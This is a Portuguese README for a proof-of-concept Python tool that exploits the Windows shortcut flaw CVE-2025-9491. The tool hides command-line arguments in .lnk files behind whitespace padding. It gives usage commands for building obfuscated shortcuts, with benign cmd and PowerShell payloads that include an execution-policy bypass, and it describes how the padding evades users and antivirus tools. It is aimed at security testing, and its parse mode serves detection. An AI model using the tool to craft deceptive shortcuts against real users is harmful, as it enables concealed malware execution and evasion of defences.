
Prova de conceito do CVE-2025-9491 usando caracteres invisíveis nos argumentos de um atalho do Windows (.lnk)
Uma ferramenta de prova de conceito para demonstrar a vulnerabilidade de Atalho do Windows (arquivo LNK) (ZDI-CAN-25373/CVE-2025-9491). Esta ferramenta mostra como argumentos de linha de comando maliciosos podem ser ocultados dentro de arquivos .lnk aproveitando o preenchimento com caracteres de espaço em branco.
**Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta apenas em sistemas que você possui ou para os quais tem permissão explícita para testar.
Esta é uma ferramenta de prova de conceito para criar e manipular arquivos .lnk (atalho) do Windows, a fim de demonstrar a vulnerabilidade CVE-2025-9491. A ferramenta permite que os usuários:
A vulnerabilidade explora como o Windows exibe as propriedades de arquivos de atalho, permitindo que atacantes ocultem argumentos de linha de comando maliciosos de usuários que inspecionam o atalho.
CVE-2025-9491 é uma vulnerabilidade de má representação da interface do usuário do Windows que afeta arquivos .lnk (atalho). Foi descoberta pela Iniciativa de Dia Zero (ZDI) da Trend Micro (ZDI-CAN-25373) e tem sido explorada por grupos APT patrocinados por estados desde pelo menos 2017 (verifique os Créditos para detalhes adicionais sobre isso).
A vulnerabilidade explora o campo "Destino" de tamanho fixo da interface de atalho do Windows. Ao preencher os argumentos com caracteres de espaço em branco (espaço, tabulação, quebra de linha, retorno de carro), um ator malicioso pode: ocultar comandos maliciosos e executar payloads ocultos. Isso também pode ser usado para evadir detecção, pois os usuários que inspecionam o atalho veem apenas o espaço em branco preenchido, não o comando real, e o EDR terá uma linha de comando extremamente longa na telemetria; se for longa o suficiente, os EPP ou AV comuns desistirão de lê-la por completo.
Python 3.7 ou superior é necessário.
Clone ou baixe o repositório:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Instale as dependências:
Maneira rápida e suja; venv é preferível.
pip install -r requirements.txt
Execute a ferramenta:
python main.py --help
A ferramenta possui três modos principais: create (criar), obfuscate (ofuscar) e parse (analisar).
Cria um novo arquivo LNK ofuscado do zero.
Sintaxe:
python main.py create -t ALVO -a ARGUMENTOS -o SAÍDA [opções]
Argumentos Obrigatórios:
-t, --target - Caminho para o arquivo executável alvo-a, --arguments - Argumentos a serem passados para o executável alvo-o, --output - Destino do arquivo LNK de saídaArgumentos Opcionais:
-c, --charset - Conjunto de caracteres personalizado para preenchimento (formato HEX)
20,09,0A,0B,0C,0D (espaço, tab, LF, VT, FF, CR)-s, --padding_size - Número de caracteres de preenchimento
128 (nenhum limite conhecido)-p, --pattern_type - Estilo do padrão de preenchimento
-i, --icon - Caminho para um ícone personalizado para o atalho
-d, --description - Descrição visível para o atalho
-v, --verbose - Ativa saída detalhada
Exemplo:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
Adiciona preenchimento aos argumentos de um arquivo LNK existente.
Sintaxe:
python main.py obfuscate -i ENTRADA -o SAÍDA [opções]
Argumentos Obrigatórios:
-i, --input - Caminho para o arquivo LNK existente a ser ofuscado-o, --output - Destino do arquivo LNK de saídaArgumentos Opcionais:
-c, --charset - Conjunto de caracteres personalizado para preenchimento (formato HEX)
20,09,0A,0B,0C,0D-s, --padding_size - Número de caracteres de preenchimento
128-p, --pattern_type - Estilo do padrão de preenchimento
-v, --verbose - Ativa saída detalhada
Exemplo:
python main.py obfuscate -i benigno.lnk -o ofuscado.lnk -s 256 -p 3 -v
Exibe o conteúdo de um arquivo LNK existente.
Sintaxe:
python main.py parse -i ENTRADA
Argumentos Obrigatórios:
-i, --input - Caminho para o arquivo LNK a ser analisado e exibidoExemplo:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
Isso cria um atalho para cmd.exe com um comando PowerShell oculto precedido por 200 caracteres de preenchimento aleatório.
python main.py obfuscate \
-i "legitimo.lnk" \
-o "ofuscado.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
Isso adiciona 512 caracteres de preenchimento de padrão mono (usando espaço e tab) a um atalho existente.
python main.py parse -i "suspeito.lnk"
A saída mostra todas as propriedades, incluindo argumentos ocultos.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "Meu Documento"